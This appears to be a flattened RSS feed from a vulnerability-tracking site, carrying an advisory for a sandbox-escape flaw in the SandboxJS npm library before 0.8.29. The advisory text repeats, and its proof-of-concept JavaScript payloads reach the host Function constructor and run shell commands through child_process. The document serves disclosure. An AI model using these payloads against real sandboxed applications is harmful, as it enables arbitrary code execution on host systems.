https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 18:10:56 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-267622 EUVD-2026-267622 https://cve.radiocsirt.org/vuln/euvd-2026-267622 https://cve.radiocsirt.org/vuln/fkie_cve-2026-25520 <p>SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren&#39;t wrapped. Object.values/Object.entries can be used to get an Array containing the host&#39;s Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.</p> <p>SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren&#39;t wrapped. Object.values/Object.entries can be used to get an Array containing the host&#39;s Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-25520 https://cve.radiocsirt.org/vuln/ghsa-58jh-xv4v-pcx4 <p><strong>Affected:</strong> npm: @nyariv/sandboxjs</p> <p>### Summary</p> <p>The return values of functions aren&#39;t wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host&#39;s `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.</p> <p>### Details</p> <p>The return values of functions aren&#39;t wrapped, chaining function calls allows bypassing most validation/sanitization.</p> <p>### PoC</p> <p>```js const s = require(&#39;@nyariv/sandboxjs&#39;).default; const sb = new s();</p> <p>payload = ` console.log( Object.values(this).at(0)( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` console.log( Object.entries(this)[0].at(1)( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` console.log( Object.entries(this) .at(0) .map((f) =&gt; { if (typeof f === &#39;function&#39;) { f.call(&#39;&#39;, &#39;return process&#39;)() .getBuiltinModule(&#39;child_process&#39;) .execSync(&#39;ls -lah&#39;, { stdio: &#39;inherit&#39; }); } }), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` const t = (f) =&gt; { f.call(&#39;&#39;, &#39;return pr…</p> <p><strong>Affected:</strong> npm: @nyariv/sandboxjs</p> <p>### Summary</p> <p>The return values of functions aren&#39;t wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host&#39;s `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.</p> <p>### Details</p> <p>The return values of functions aren&#39;t wrapped, chaining function calls allows bypassing most validation/sanitization.</p> <p>### PoC</p> <p>```js const s = require(&#39;@nyariv/sandboxjs&#39;).default; const sb = new s();</p> <p>payload = ` console.log( Object.values(this).at(0)( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` console.log( Object.entries(this)[0].at(1)( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` console.log( Object.entries(this) .at(0) .map((f) =&gt; { if (typeof f === &#39;function&#39;) { f.call(&#39;&#39;, &#39;return process&#39;)() .getBuiltinModule(&#39;child_process&#39;) .execSync(&#39;ls -lah&#39;, { stdio: &#39;inherit&#39; }); } }), ); `</p> <p>sb.compile(payload)().run(); ```</p> <p>```js const s = require(&#34;@nyariv/sandboxjs&#34;).default; const sb = new s();</p> <p>payload = ` const t = (f) =&gt; { f.call(&#39;&#39;, &#39;return pr…</p> https://cve.radiocsirt.org/vuln/ghsa-58jh-xv4v-pcx4